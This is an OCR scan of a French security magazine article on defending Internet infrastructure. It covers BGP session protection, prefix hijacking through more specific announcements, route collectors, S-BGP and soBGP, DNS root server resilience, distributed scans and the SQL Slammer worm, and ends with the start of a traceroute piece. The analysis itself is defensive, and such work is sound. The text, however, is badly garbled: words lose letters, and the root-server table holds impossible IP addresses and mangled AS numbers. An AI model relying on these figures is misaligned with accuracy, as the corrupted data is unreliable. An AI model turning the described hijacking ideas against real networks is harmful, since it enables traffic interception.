routeurs sont soient directement adjacents c¢’est-a-dire
interconnectés via un média de couche 2 comme Ethernet ou
POS par exemple, soit sépares par des équipements de routage:
session eBGP (entre deux AS différents) multi-hop ou session
IBGP {entre les routeurs au sein d’un méme AS).

Cette session BGP est particulierement vulnérable au niveau des
commutateurs de points d’échanges publés (IXP public switches).
Il est vivement recommandé d’activer md3 [18] avec les voisins
présents sur le point d’échange. Le condensat md5 est calculé
sur le pseudo en-téte TCP. I'en-téte TCP. en excluant les options
2t en assumant un controle d’intégrité de 0, les donnees, ainsi
que la clé commune aux deux voisins.

Déployer IPsec, qui est une autre option. semble un peu démesuré,

Pour protéger les sessions eBGP, une astuce a éte proposée il y
1 quelques mois : le parametre “nombre de sauts” pour les sessions
:BGP multi-hep définit le nombre maximum de routeurs a
raverser entre les deux voisins BGP (ceci se base sur le TTL).
A I"inverse, une option consisterait a forcer le TTL du paquet a
tre proche de 255, et non de 1 (ou de 1-+-nombre de sauts). Vu
ju’il est quasi impossible de contréler ce parametre depuis la
source (le TTL maximum est 255 et celui-ci est décrémenté par
“haque routeur traversé). et a moins d’arriver a encapsuler le
raquet malicieux dans un VPN MPLS (*) ou un autre type de
unnel comme GRE, ce type de contrainte permettrait de filtrer
ous les segments TCP destinés au port 179/tcp. Le filtrage des
-ommunications depuis et vers 179/tcp, vu que les voisins BGP
sont connus de maniére explicite, devrait étre appliqué a tous les
‘outeurs concernes. La combinaison de ces deux techniques
sermet d’élever le niveau de securité.

| reste également le risque de trouver une faille dans
‘implémentation, et force est de constater que beaucoup de
rogramimeurs ne sont pas des specialistes pour “parser” certains
vpes de paquets ou de messages. Une récente présentation [17] lors
le NANOG montre des résultats relativement exhaustifs qui
onfortent les observations faites dans la jungle de I'Internet: au jour
"aujourd’hui, le meilleur moyen de bloquer ces “attaques” est
I"appliquer des ACLs sur les VTY des routeurs, ainsi qu’au niveau
les sessions BGP, de déployer des ACLs d’infrastructure et de
urveiller son systeme centralisé RADIUS ou TACACSH. purement
:t simplement. Les attaques par SYN flood ou par RST sent trop
omplexes vu le nombres de paramétres requis pour étre efficace.
_'implémentation Cisco ne répond par SYN/ACK qu'aux voisins
3GP explicitement configurés alors que celle de Juniper répond
1 tous les paquets (le processus BGP est rattaché a *:179/tcp).”

“es differents filtrages combings permettent également d’éviter
es dénis de services engendrés par des “flaps™ (route qui apparait

et disparait plusieurs fois pendant un court laps de temps). Cela
n"aurait aucun effet si les FAI n"étaient obhigés, pour réduire la
charge CPU au niveau du processus BGP, d appliquer des
parametres de “dampening” (une pénalité est complée a chaque
“flap™, et lors de I"épuisement du crédit, le préfixe réscau concemné
est retiré de la table de routage pour un certains temps). Une
attaque pour forcer une route a “flapper” consistait a envoyer un
nombre consequent de paquets a destination du routeur méme
(et de temps en temps plus particulierement au port 179/tcp). La
présence de SPD (Sefective Packet Discard), qui donne la priorité
aux mformations de routage en cas de charge grice a deux
tampons réservés (BGP+IGP et IGP uniquement), permet de
contrer ce genre d attaques. Les routeurs récents disposent
¢galement de plusieurs files d’attente avec 'une d’elle dédiée
aux protocoles de routage,

COLLECTEURS DE ROUTES
POUR AUTOPSIE RESEAU

Le fait d™emprunter” un préfixe réseau est un phénomeéne courant,
particulierement pour I'envot de courrier électronique non sollicité,
ou encore effectuer une reconnaissance de réseau. A une certaine
¢poque les “méchants™ piochaient dans les blocs réseaux non encore
alloués (bogon nerwokrs) mais vu que beaucoup de FAI filrent
ces réseausx, ils se sont retournés vers le détournement de préfixes
réseaux déja annonces. Comment ? Tout simplement en injectant
une route dans les tables de routage BGP (en abusant d’un lien
d’un transit connecte a un FAI laxiste au niveau du filtrage ou en
se servant d’un routeur BGP “acheté™ a une communauté tierce).

En effet, beaucoup de sociétés disposent, souvent pour des raisons
historiques, d’un bloc réseau bien trop grand par rapport a leurs
besoins (i.e. les anciennes classes A et B) et 1l suffit d'injecter une
route plus spécifique dans la table de routage BGP globale. Par
exemple : si le bloc annonce par I’AS65535 est 61.0.0.0/16, il suffit
d’annoncer 61.0.223.0/24 pour introduire une route plus spécifique
et attirer, voire détourner, le trafic si ce préfixe réseau est utilise.

C’est pourquoi il est important de surveiller, a défaut de pouvoir
vérifier, I'AS source ou les AS sources pour chaque préfixe réseau
(Origin-AS). Le mécanisme de vérification fait ’objet de deux
projets (S-BGP et soBGP) décrits ci-aprés. Des outils de
surveillance ont ¢t¢ déployes en quelques endroits du globe pour
collecter et stocker les informations de routage. Un exemple est
le projet RCC du RIPE [5] avec des collecteurs de route basés
sur Zebra [6] : les FAIs qui désirent participer établissent une
session BGP au travers de laquelle ils envoient les changements
de route au collecteur tels que vus au niveau de leur réseau.
Altention, ceci est une vue partielle uniquement et ne refléte que
les informations connues des FAI participants : le filtrage et
I"agrégation de routes, le dampening en amont, par exemple, font
que méme si la table de routage BGP est globale et commune a
tous, elle est loin d’étre identique sur chaque routeur.

(*) A I'image des interfaces inter-operateurs pour les réseaux ATM (ATM NNT pour Network-to-Network Interface), des solutions dont le but est de fournir un service de
VPN de bout en bout identique mais reposant sur une interconnexion de réseaux MPLS sont en phase de déploiement. Les “mter-provider MPLS VPNs" n'offrent aucune
forme de securité et quasiment aucun filtrage n’est possible au niveau de I'interface entre les dewx fournisseurs. Cela implique que la confiance dans I'opérateur, sur lequel.
rappelons-le, repose la securiteé des VPNs MPLS nisque d'étre mise a mal. En effet, cette séeurité devient transitive entre les opérateurs interconnectés : les frontiéres

administratives d'un systéme autonome ne 5’ appliquent plus,
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Le fait de collecter ces informations, qui ne sont qu'éphémeres,
et de les stocker pour eréer un historique augmente les chances
de retrouver, quel AS, par exemple, a annonce une route plus
spéeifique, le 17 mai1 2003 a 12 :23, ou si un préfixe réseau a
changé d’AS source, ou encore si un AS path a change de
maniére drastique. Ceci est particulierement important pour des
services clés comme les DNS racines par exemple (veir tableau
“Informations sur les serveurs DNS racines’™) ou tout
changement devrait étre vérifié (1e. détournement de trafic par
exemple).

N’oubliez pas que I'AS path et le résultat d’un raceroute ne
sont pas une bijection. En effet. il se peut trés bien que I’adresse
IP source du message I[CMP “TTL expired in transit™ ne soit
méme pas annoncee ou qu’” elle refléte une plage d’adresses d’un
point d’échange. Il se peut également que la route ait changé ou
que sur certains liens, la charge soit distribuée (“per packet” ou
“per flow load balancing™). A noter que, contrairement 4 certaines
idées regues, le chemin retour que suit le datagramme n’est pas
forcément identique au chemin aller : une route peut étre
asymétrique. Cela influe également sur la réponse généree a
I"expiration du TTL vu que "adresse [P de I’interface de sortie
du routeur doit étre utilisée, et non celle de I'interface par laquelle
le datagramme est entré (meilleur chemin retour).

PROJETS SOBGP ET S-BGP

Le projet Secure Origin BGP (soBGP [7]) doit permettre de
verifier ’AS source (Origin-AS) d’un préfixe réseau. Cela
implique des changements (nouveau type de message: BGP
Security Message) et en fonction de 'option de déploiement
sélectionnée, engendre un besoin aceru en mémoire et en temps
processeur sur les routeurs. Au niveau du design, I'objectif est
également de reposer sur un systéme de confiance distribue
(systéme de certificats & la “web of trust” PGP) pour éviter d’avoir
4 se connecter a des systémes centraux, pouvoir reposer sur divers
mécanismes de cryptographie et permettre aux opérateurs de
choisir entre niveau de sécurité et vitesse de convergence. 1l est
clair que la probabilite, comme bien souvent, de voir la
performance "'emporter sur la sécurité est forte et ceci du fait
que les opérateurs cherchent par tous les moyens (réseaux de
type MPLS, protocoles de routage Internet adaptés et ingénierie
de trafic poussée) a tendre vers la convergence en dessous d’une
seconde. Le projet ne couvre pas les mécanismes de protection
de la session BGP.

Le second projet est Secure BGP (S-BGP [9]) qui repose sur des
certificats et I'infrastructure administrative présente a ce jour
(RIR — Regional Internet Registries, comme le RIPE NCC).
L'origine des routes et les messages BGP sont signés.

S-BGP et soBGP réglent certains problémes (comme le fameux
incident de 1'AS 7007 [8] en 1997 ol un FAI a annoncé toutes
les routes de maniére désagrégée) de fagon intégrée. Le probléme
est quasi identique a celui de 'usurpation de 1'adresse IP source
(“1P spoofing™). En effet, si tous les FAI appliquaient les regles
de filtrage recommandées [30, 31|, cela le réduirait nettement.
Les deux projets ne réglent pas tous les problemes, comme un
routeur malin situé sur le chemin.
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S-BGP et soBGP ne seront pas présents et utilisés en production
avant un bon moment : les contraintes administratives (PKI1 gérée
par les RIRs pour S-BGP par exemple) et les coits
CAPEX/OPEX sont des contraintes fortes. En appliquant les
BCPs (Best Current Practices), un niveau de sécurité proche et
peut-étre suffisant pourrait étre atteint.

INFRASTRUCTURE DNS

RAPPELS SUR LE FONCTIONNEMENT
DU SYSTEME DE RESOLUTION DE NOMS

[’espace de nommage est hiérarchique et distribué par zones.
Ces zones sont distribuées et servies par des serveur de noms
dits autoritaires pour des domaines listés de maniere explicite.

Pour joindre www.example.com, il faut tout d’abord trouver la
ou les adresses IP associées. Pour cela, si l'information n’est pas
dans le cache local, 1l faut s’adresser au serveur de nom (Domain
Name Server) qui est en charge de la zone example.com. Pour
cela, on commence par s adresser a un des serveurs en charge
de .com (serveur dit gTLD, pour global Top Level Domain). Pour
trouver quels sont les serveurs .com, il faut §”adresser au serveurs
racines (Root Servers). Le serveur DNS configuré au niveau du
client “connait” ces derniers de maniere statique grace a un fichier
ou ils sent listes. Actuellement, ils sont au nombre de 26 serveurs
logiques : 13 serveurs racines et également 13 serveurs gTLD,
nommes [a-m].{root,gtld}-serversnet. Voir également le tableau
“Informations sur les serveurs DNS racines”.

BUGGY INTERNET NAME DAEMON ET LA
NON-DIVERSITE

Un dogme en sécurité est que la diversité est source de sécurité
(mais aussi de complexite, surtout opérationnelle) : BIND était
Jusqu’a trés récemment le seul logiciel a étre deployé sur tous
les serveurs racines, sans exception, ce qui n’est pas sans soulever
certaines interrogations bien legitimes. Ce manque de diversité
se retrouve également dans la répartition des serveurs racines :
seuls quelques serveurs sont présents hors du continent nord
américain (Washington DC et Californie). Heurcusement la
politique suivie par I'Internet Software Consortium est en train
de rendre cette situation meilleure : deux miroirs du serveur racine
F sont en cours de déploiement en Europe (Espagne et ltalie).

L'ISC continue sur sa lancée et va déployer d'autres miroirs. Cela
améliore la résistance aux attaques et aux pannes, mais mtroduit
¢galement des risques comme par exemple celui du controle de
l'intégrite de l'information.

Une alternative a BIND a été developpée et également mise en
production : nsd [19]. Cette version est spécifique aux serveurs
authoritaires. Pour les serveurs DNS déployés chez les FAL BIND
reste omniprésent et la seule vraie alternative reste djbdns [20].
Maintenant, il reste également la possibilité de choisir entre les
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trois versions majeures de BIND : s1 déja on se retrouve quasi
oblige de faire tourner sur un simple serveur DNS le méme code
que celui utilisé sur un serveur racine, autant ne pas faire la course
a 'innovation. La nombre de lignes de code entre les versions a
explosé pour passer de 15 000 a plus de 300 000 lignes. De plus,
sur les 18 failles majeures, 9 permettent d’exécuter du code a
distance et 8 sont du type deni de service (voir [24]). Au niveau
des fonctionnalités, BIND 4 couvre souvent tous les besoins et en
plus, des versions qui towrnent avee des droits non-root ainsi que
I"exécution dans un chroot() sont disponibles (4.9+patch) [27].

ATTAQUES ORIENTEES SYSTEMES

[l y a encore quelques années, il était relativement courant de
trouver un fichier core (image mémoire d'un processus au moment
ou 1l s’est “planté”) sur les serveurs DNS racines. En effet, ces
derniers proposaient un acces FTP anonyme dont la fonction
premicre était de mettre a disposition le fichier named . root .

La pire des attaques : tous les clients mal configurés générant
des requétes inutiles (DNS Dynamic Update, passerelles NAT
qui ne traduisent que 1"en-téte et non le contenu, échanges TKEY,
adresse [P source non routable, TLD inexistant, serveurs DNS
qui ne cachent aucune requéte, requéte de type A pour une adresse
[P, ete [25]) . La majorité des réponses générées par les serveurs
racines sont négatives et une grande partie d’entre elles le sont
en réponse aux requetes PTR pour des adresses 10/8, 172.16/12,
169.254/16, 192.168/16, etc. Le projet AS112 [22] tente de
répondre a ce probleme via la mise en place de serveurs non-
racine annoncés en différents points de I'Internet en [Pv4 ariveast
(23] : 192.175.48.0/24. Ces serveurs répondent en lieu et place
des serveurs racines pour les requétes du type 168.192.in-addr.arpa
(arbre inverse). Ceci est ¢galement la preuve que Unicast RPF
[3] n’est que trés peu déployé.

Toutes ces protections et améliorations ne servent a rien face a
une erreur de manipulation ou une erreur dans le processus de
mise 4 jour des zones clés. Le fait de “cacher” les serveurs maitres
(comme le fait Verisign) et de n'autoriser que les serveurs racines
21 gTLDs a se connecter ressemble fort a un secret de polichinelle

ATTAQUES ORIENTEES RESEAUX

Un bref historique de quelques attaques réseaux “connues»

B cn avril 2001, un FAI a, pendant quelques dizaines de
minutes, annoncé le préfixe réseau associc au serveur c.gtld-
servers.net

B en octobre 2002, une attaque par déni de service coordonnée
et mutualisée est lancée contre les serveurs racines.

Les opérateurs de serveurs racine commencent a filtrer en amont
le trafic réseau inutile et les requétes qui n’aboutiront pas : pourquoi
laisser passer autre chose que 53/udp (TCP n’est pas utile pour les
serveurs racines et gTLDs) ? Les mesures de performances ne
nccessitent pas forcément de laisser passer les messages [CMP.
De méme, une requéte dont I"adresse [P source est non routable
ou n'est pas annonceée dans la table de routage BGP peut étre
“détruite” au niveau réseau pour préserver la charge de |’application.

Une attaque globale, pour étre vraiment performante, devrait se
faire au plus pres des serveurs racine et gTLD. Le fait de couper
le serveur M aurait déja un impact non négligeable
au Japon. De méme. une perte de quelques liens majeurs entre
le continent nord-ameéricain et I’Europe pourrait engendrer le
méme type de latence.

Une attaque visant de maniere specifique une entreprise est plus
a méme d’arriver au plus proche : sur le chemin entre "acces
Internet de 'entreprise et les serveurs DNS. Une attaque ancienne
et bien connue consiste a exploiter les innombrables failles dans
les serveurs ou les “resolvers” locaux [26].

[l suffirait de 13 routes (une par serveur racine) détournces dans
BGP pour contréler, au moins au niveau d’une plaque réseau ou
d’une région, toute communication avec les serveurs racines. Il
suffit d’une route (celle du serveur racine A) pour détourner les
stations Win2K vu qu’elles contactent systémaftiquement ce serveur
par défaut. C'est pourquoi il est primordial que les FAI et la
communauté surveillent I'AS d’origine, I'AS path et d’autres
parametres (comme de vérifier si les réponses fournies par les
serveurs sont valides) : ces caractéristiques (adresse IP, AS d’origine,
politique de transit, etc.) ne changent que trés rarement. En effet.
I’AS path n’est pas forcément un chemin valide de bout en bout
: une route peut etre asymetrique et s1 un FAI détourne le trafic
dans son systeme autonome, cela n’apparaitra pas dans BGP).

Les parametres de dampening décrits dans les documents RIPE
229 [14] et Golden Networks [15] decrivent comment protéger
les routes au niveau des routeurs BGP pour éviter les trous noirs.
En effet, si quelqu’un arrive a rendre certaines sessions BGP
nstables (soit sur des liens directement attachés, soit sur des liens
proches des serveurs racines et gTLD). le dampening
s"appliquerait ¢galement a ces routes, ce qui aurait pour effet de
rendre ces serveurs injoignables de maniére artificielle,

DNS NEXT GENERATION :
HIERARCHIQUE OU DISTRIBUE ?

Certaines applications, comme les clients peer-to-peer (P2P), ne
reposent quasiment pas sur des requétes DNS mais communiquent
directement en envoyant dans les résultats des recherches 1’adresse
IP du participant qui met a disposition I'information ou le fichier
recherché. Les seules résolutions de noms se font au démarrage
pour télécharger une liste des serveurs principaux (serveurs de
connexion ou de recherche) lorsque celle-ci n’est pas déja
disponible dans un fichier local. Au contraire du fichier qui
contient les serveurs racines, qui ne change que relativement
rarement, cect n'est pas le cas de ceux de la plupart des réseaux
P2P qui sont souvent “obligés™ de déménager.

Des projets de recherche étudient la viabilité d’un systéme DNS
non hiérarchique fondé sur une approche distribuée et des
technologies P2P. Sans rentrer dans les détails, cela pourrait aider
a résoudre certains problemes comme les attaques par déni de
service, ameliorer les temps de réponse, rendre le filtrage de contenu
plus complexe mais également (ré Yintroduire certaines failles
inhérentes & ce type d'approche. Un peu comme a 'image de la
nen-évolution ces dernieres années du protocole BGP version 4
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vers des alternatives comme S-BGP ou SoBGP, il v a fort & parier
que linfrastructure DNS, encore plus complexe, ne changera que
trés peu (ie. peut-étre une évolution vers DNSSEC) surtout que
RFID [32] et ENUM [33] envisagent également de reposer dessus..

Egalement a noter : les données présentes dans un grand nombre
de fichiers de zones sont incomplétes, pas a jour, et s’il y a bien
longtemps un enregistrement de type A et de type PTR était une
bijection, ¢e n’est plus le cas. Malgré de nombreux nettoyages
de printemps lancés par des NIC (Network Information Center),
la tendance, vu le nombre d’acteurs présents et la puissance de
certains d’entre eux, ne risque pas de changer vers quelque chose
de plus structurée et propre.

TCPWIN = 55808

Loin de nous 1'idée de penser que ce phénomene est inintéressant,
et force est de constater qu’un nombre conséquent d’acteurs du
monde la sécurité et des réseaux est intrigue par le phénomene,
mais il semble que ces paquets a la caractéristique bien particuliére
ne sont pas les seuls a errer sur I'Internet. Pour preuve, tous les
projets lances ces dernieres années pour créer une carte exhaustive
du réseau utihisaient des techniques plus ou moins invasives, des
paquets particuliers, sans que cela intéresse grand monde.

Ces segments TCP avec une taille de fenétre de 55808, dont le
nombre n’a cessé d’augmenter de maniére constante ces dernieres
semaines : vral scan distribué ou simplement un logiciel bogué
dont la population d’utilisateurs est en augmentation ? Cette
seconde option n’est pas a ecarter.

DETECTER ET ANALYSER ,
UNE RECONNAISSANCE DISTRIBUEE ?

Les techniques de reconnaissance distribuée, et particuliérement
les scans dits “lents”. sont loin d’étre une nouveauté. Déja en
1998 (si ce n’est pas avant), ce type de trafic était observé & I"aide
de systemes précurseurs des outils de détection d’intrusion
déployés aujourd hui. Tres peu de NIDS (Network Intrusion
Detection System) sont capables de détecter ce trafic et encore
moins en temps réel : un stockage de tout le trafic réseau sur une
fenétre tournante de quelques jours et une analyse par corrélation
a posteriori semble la seule efficace (projet SHADOW par
exemple). C’est dans ce genre d applications qu'un systeme de
détection dintrusion peut se rendre utile : I’autopsie post-mortem.
En effet, detecter et tenter de bloquer une attaque qui est deja
dans le passé ne sert pas vraiment & grand-chose, surtout si, en
plus, I"attaque n’affecte pas le systeme visé (exploit [IS envoyé
a un serveur Apache). 1l est également légitime de se poser la
question de savoir si un NIDS est I"outil adapté pour ce genre
d’autopsie. Ce dernier va uniquement enregistrer le trafic en
fonction des régles ou de I'analyse protocolaire et ne stocker que
I"en-téte ou une partic des données. Par exemple, seule la premiére
requéte HTTP dans une session est stockée alors qu’il est possible
d’en envoyer plusieurs a la suite, ce qui permetira une évasion.
La scule alternative resterait done de stocker tout le trafic réseau,

MISC ¢

tel quel, sans aucun traitement et considérer le placement des
sondes en fonction des contraintes d’architectures et d*autres
éléments comme les communications chiffrées.

LE CAS 55808

Une reconnaissance distribuée doit étre consolidée et géreée en un
point central, ce qui implique soit une communication directe entre
les agents ou hors bande entre les promoteurs. Le cas des segments
TCP avec une fenétre de taille 53808 est mtéressante car le nombre
de paquets, a priori en retour, observeé augmente et un grand nombre
de sources différentes sont présentes dans les traces réseau.

Les traces ont pour une grande majorité les caractéristiques
ci-dessous :

B adresses IP non routées dans 'Internet parce que non encore
allouées ou du type REC1918 ;

B pas d’annonces temporaires de ces routes ou de préfixes
réseaux plus specifiques “empruntées™ dans un bloc plus
grand ;

B adresses [P allouées et présentes dans la table de routage
BGP globale ;

B valeur de TTL (Time To Live) distribué entre 107 et 116
pour la majorité des paquets ;

B un nombre quasi identique de sources et de destinations.

Les questions soulevées sont nombreuses si effectivement ces
paquets “bizarres” se révelent étre une reconnaissance distribuge.
En effet, |"agent qui est censeé observer les réponses doit se trouver
sur le chemin retour : cette technique dite “upstream scan” est
également connue depuis au moins 1999. Cela impliquerait qu’un
fournisseur de transit IP (ie. un FAI) participe. de maniére
consciente ou non, en utilisant des plages d’adresses des réseaux
connectés “derriere™ lul pour €couter, voire intercepter, les
réponses. En quelque sorte, une forme active de fingerprinting
(prise d’empreinte) passif...

WVu les contraintes dans un ceeur de réseau (souvent des liens
point-a-point POS, et non une architecture Ethernet en étoile
avec un commutateur) et les bandes passantes relativement
consequentes. (10Gb/s ou plus), ce type d’interception est quasi
impossible a mettre en oeuvre, & moins que les routeurs se
chargent d’une telle tache...

QUEL FUTUR ?

La grande mode depuis un petit moment déja est a la
reconnaissance “en avance” pour pouvoir lors d une attaque
s'appuyer directement sur une liste de réscaux, systémes et
applications vulnérables et s’affranchir de cette phase gourmande
en temps et qui génere beaucoup de tapage. L'intérét de la prise
d’empreinte plus poussée prend ici tout son sens, particulierement
vis-a-vis des scans de ports traditionnels ou de la reconnaissance
applicative fondée uniquement sur le bandeau (bansner).

L'intérét du scan actif par rapport au scan passif (comme sur un
lien de transit) reste évident : seules les applications utilisées sont
visibles et celles, comme par exemple les dizaines de services
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non désactivés et en écoute, ne sont pas vues. Mais il est évident
qu'un scan passif va donner une bonne idée de la sécurité de
I’héte (i.e. les versions changent-elles lors de la publication dun
advisory 7) ainis que quelques unes de ses caractéristiques
(systéeme d’exploitation, architecture, etc.).

L'utilisation directe des moteurs de recherche pour trouver des
hdtes vulnerables, qui est apparue avec les failles dans les
applications Web est en plein développement, particulierement
avec les moteurs populaires qui en plus fournissent une API
(interface) de recherche évitant méme d’avoir a analyser et
retravailler les pages HTML. Cette technique de recherche est
complétement non intrusive et discrete vu qu’aucune
communication avec le systeme distant ne se fait. Puisque certains
moteurs ne stockent pas uniquement des sites Web mais aussi
des groupes de discussions, ou encore des blogs (web logs) avec
des en-tétes complets, cela ne fait qu'augmenter leur valeur.

La derniére faille publiée dans [OS [16] est la preuve qu’un simple
paquet ou une suite de paquets peut bloquer un routeur, et a plus
grande échelle bloquer une bonne partie de I'Internet. Le nombre
de dimensions a connaitre est relativement limité: 2, voire 3.
Cette attaque repose simplement sur 1*utilisation d’un protocole
IP (SWIPE [53] , IP Mobility [55]. Sun ND [77], PIM [103]) et
un TTL particulier (sauf pour PIM). 1l est probable que d’autres
variantes sont possibles qui reposeraient sur des caractéristiques
liges a d’autres champs dans I’en-téte IP. Cette faille et d"autres
exemples, comme Slammer présenté dans le paragraphe suivant,
prouvent qu’un simple petit paquet peut avoir des conséquences
importantes.

L'avenir de I"autopsie réseau reposera sans doute sur la collection
et 'analyse combinée de flux Netflow et de messages BGP. ..
Plus de détails dans un prochain numeéro.

SQL SLAMMER

Les vers ont ¢volué et se sont transformés en véritables outils
d’attaque. La vitesse de propagation de SQL Slammer est un bon
exemple : un seul paquet UDP de faible taille sans attente de
réponse ni de vérification si le datagramme est arrivé. L’activité
BGP lice a Sapphire a débuté le 25 janvier peu aprés 05:00
UTC : les collecteurs de routes du RIPE ont observé un nombre
conséquent de mise & jour {(Update) et de suppressions
(Withdrawal)} de routes, y compris celles des serveurs DNS racines.

Un peu comme pour la faille [16] 1’analyse trés rapide par la
communauté (moins de 2-3 heures en général, moins de 25
minutes pour les plus optimistes) a permis de déployer des filtres
operationnels pour contenir |’attaque. Le seul filtrage qui était
relativement effectif pour contenir la propagation de ce ver
consistait a appliquer une ACL sur les tous les routeurs de bordure
(Edge) et plus particuliérement les routeurs de transit, peering
et ceux qui connectent les centres d'hébergement. Le filtrage du
port 1434/udp n’avait heurcusement que quelques effets de bords
comme de bloquer par exemple une requéte DNS avec un client
qui utiliserait ce port comme port source.

Les autres techniques classiques de filtrage en cas de déni de
service (voir [3]) qui emploient uniquement le détournement du

trafic sur la base du préfixe réscau destination. ou encore la
limitation de bande passante pour ce type de trafic, ne s appliquent
pas ou ne permettent qu’'un filtrage partiel. La seule information
qui est propagée entre les FAI pour un filtrage le plus en amont
possible consiste en un préfixe réseau marqué par une
communauté spécifique (propagated blackholing). Un groupe
de réflexion étudie la possibilité d’utiliser un mécanisme existant
comme MP-BGP (MultiProtoco! BGP) pour transmettre des
informations plus détaillées sur les flux a filtrer. Le flux serait
compose des €léments suivants : prefixe IP source et/ou
destination, ports source/destination, type de message [CMP,
longueur. taille du paquet — ce qui n’est pas sans rappeler le
septule d’un flux de type Netflow [10].

Malheureusement. la région Asie Pacifique a, comme lors de
beaucoup d’incidents de sécurité, souffert pendant presque deux
Jours. Heureusement que le ver n’était pas de type destructeur,
Ieffet sur I’Internet ¢tait do a sa vitesse de propagation et le fait
qu’il remplissait les tuyaux : la majorité des réseaux d’opérateurs
sont restés stables, méme durant les dix minutes ou la vitesse de
propagation ¢tait 4 son apogée.

) La notion de confiance, implicite dans I'architecture de
I"Internet. a ¢volu¢ depuis I'époque de I’ ARPANET mais
reste une composante forte, ce qui rend la tache souvent plus

) facile aux attaquants. Par contre, les protocoles BGP et DNS,
qui devraient subir une refonte compléte selon certains, ont

% prouve leur stabilit¢ dans un milicu devenu hostile. La notion

~ de distribution de contenu a elle aussi changé pour passer
d’un media texte a un Internet ou le multimédia est roi : force

3 est de constater qu’une plus grande distribution du contenu
ct une proximite vis-a-vis de ["utilisateur rendrait certaines

) attaques encore plus difficiles a lancer et a en réduire la
portée, en plus de freiner la course a la bande passante.

) Les vers quant a eux, continuent a s ameliorer au niveau de
" leur taille. leur vitesse de propagation, leur virulence et le
moteur de choix du prochain systéme a infecter. D arriver
) aanalyser les futurs vers. en espérant qu'ils soient également
non destructifs, en moins de quelques heures pour ne pas
) dire minutes, sera un challenge continuel pour la
communauté. Quel aurait ¢té 'effet combiné de SQL
Slammer. qui en plus de se propager, aurait envoye les quatre
) paquets avec le bon protocole IP et le bon TTL ?
Le théme du prochain dossier, en guise de rappel au dossier
) du numéro 8 [2], portera sur I"utilisation, les options et les
contraintes d’un routeur comme pot de miel et comment
) mettre en place une redirection de trafic de type Bait-n-
© Switch [11] au miveau d’un réseau d’opérateurs avec des
techniques de réseaux privés virtuels,

) Nicolas FISCHBACH (nico(@ securite.org)
http://www.securite.org/nico/
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Informations sur les serveurs DNS racines

,RGS*

Serveur | Opérateur Localisations Adresse IP AS source
A Verisign Dulles VA, USA 198.41.0.4 19836
B IS1 MarinaDel Ray CA_ USA 128.9.0.107 226. 4
(8] Cogent Hendon VA et Los Aggclcs CA, USA 192.334,12 2149
D Université du Maryland | College Park MA, USA 128.8..10.90 27
E NASA Moutain View CA, USA 192.203.230.10 297
F I1SC Palo Alto CA; San Jose CA; New York City NY;
San Francisco CA; Los Angeles CA, USA
¢t Madrid, ES ainsi que Hong Kong.
A venir : NaMeX, Rome, IT 192.5.5.241 3557
G US DoD Vienna VA, USA 192.112.36.4 5627
H US Army Aberdeen MD, USA 128.63.2.53 13
1 Autonomica Stockholm, SE 192.36.148.17 8674
1 Vensign Dulles VA: Mountain Yiew CA; Sterling VA
Seattle WA Atlanta GA; Los Angeles CA, USA
et Amsterdam, NL 192.58.128.30 26415, 11631, 1052]
K RIPE NCC Londres. UK 193.0..14.129 25152, 5459
L ICANN Los Angeles, USA 198.32..64.12 20144
M Wide Tokvo. JP 202.12.27.33 7300

MisC ¢

Pour des informations plus détaillées (serveurs gTLD) voir [12] et [13].

REFERENCES.

[1] MISC 3. dassier «Protection de | infrastructure réseau IP: les protocoles
de routage ¢t MPLS»

|2] MISC 8. dossier «Les pots de miel»

|3] MISC 4, dossier «Protection de |'infrastructure réseau IP: les dénis de
SEIVICEs Tescauxy»

[4] Symposium sur fa Séeurité des Technologies de "Information et de la
Communication. http:/fwww.sstic.org/ - Rennes, Juin 2003

|5] RIPE Route Collector project — hitp:/www.ripe.net/

[6] Zebra — http://www.zebra.org/

|7] s0BGP - ftp:/ftp-eng.cisco.com/sobgp/

18] Incident ASTO07 - http:/flix.flirble.org/

19] S-BGP - http://www.ir.bbn.com/projects/s-bgp/

|10] Netflow -
hitp://www.cisco.com/warp/public/732/Tech/nmp/netflow/index.shtml
[11] Bait-n-Switch Honeypot - http://violating.us/projects/baitnswitch/
[12] BGP Snarf - http://www.qorbit.net/monitoring/bgp-snarf-group.html
[13] Root Server Techmical Operations Assn - httpz//www.root-servers.org/

[14] RIPE Routing-WG Recommendations for Coordinated Route-tlap
Damping Parameters -
http:/iwww.ripe.net/ripe/docs/routeflap-damping.html

[15] Golden Networks -
http://www.qorbit.net/documents/golden-networks

116] Cisco 10S Interface Blocked by IPv4 Packets -
hetp://www.cisco.com/warp/public/707/
cisco-5a-20030717-blocked.shtml

117] BGP Vulnerability Testing: Separating Fact from FUD-
htip://www.nanog.org/mtg-0306/pdf/franz.pdf

18] REC 2385 - Protection of BGP Sessions via the TCP MD3

Signature Option

[19] MISC 1. dossier « Protection de Pinfrastructure réseau 1P »,
paragraphe « Administration a distance »

(2] NSD - http://www.ninetlabs.nl/nsd/

[21] djbdns

http:/fer.yp.to/djbdns/

|22] AS112 Project - http://as]12.net/

|23] MISC 6, dossier «Protection de "infrastructure reseau IP: {Securite)

IPvo et [P anycasty

|24] A Sampling of the Security Posture of the Internet’s DDNS Servers -

hitp://www.packetfactory.net/papers/DNS/

125] Analysis of the DNS root and gTLD nameserver system -

http://www.caida.org/projects/dns-analysis/

[26] 1SC BIND Vulnerahilities -
hetp://www.isc.org/products/BIND/bind-security.html

[27] Security patch for the one true BIND 4.9.x -
http://www.openwall.com/hind/

|28] The hogon reference page - hitp://www.cymru.com/Bogons/

129] Profiles: Automated Credit Card Fraud -
http://www.honeynet.org/papers/profiles/ce-fraud.pdf

[30] BCP38 - Network Ingress Filtering -
ftp://fep.isi.edu/in-notes/rfc2827.txt

[31] RFC 3013 - Recommended Internet Service Provider Security

Services and Procedures - ftp://ftpisi.edu/in-notes/rfe3013.txi

132] Radio Frequency [Dentification - http://www.rfid.org/

[33] E.164 number and DNS - http://www.ictLorg/rle/rfe2916.6xt




FICHES TECHNIC

FICHES TeECHNIQUES

Du bon usage
du fraceroute

Ou comment faire parler les infrastructures
réseau en jouant avec le champ TIL.

L'application traceroute présente le chemin suivi par les paquets émis vers une
destination donnée. Si on voit immédiatement tout l'intérét de cette application pour
le dépannage réseau, on le mesure mal dans le domaine de la sécurité réseau.

COMMENT CA MARCHE ? e e
Mentification Elage Fragmen: Offser
-
JOUER AVEC LE CHAMP TIL e
Le traceroute repose sur la duree de vie limitée des paquets IP. Destination Address
Cette durée de vie est fixée par la valeur du champ TTL (Fime St I St
To Live, cf. figure 2). En émettant des paquets a destination de

notre cible avec une valeur de TTL croissante, nous produisons
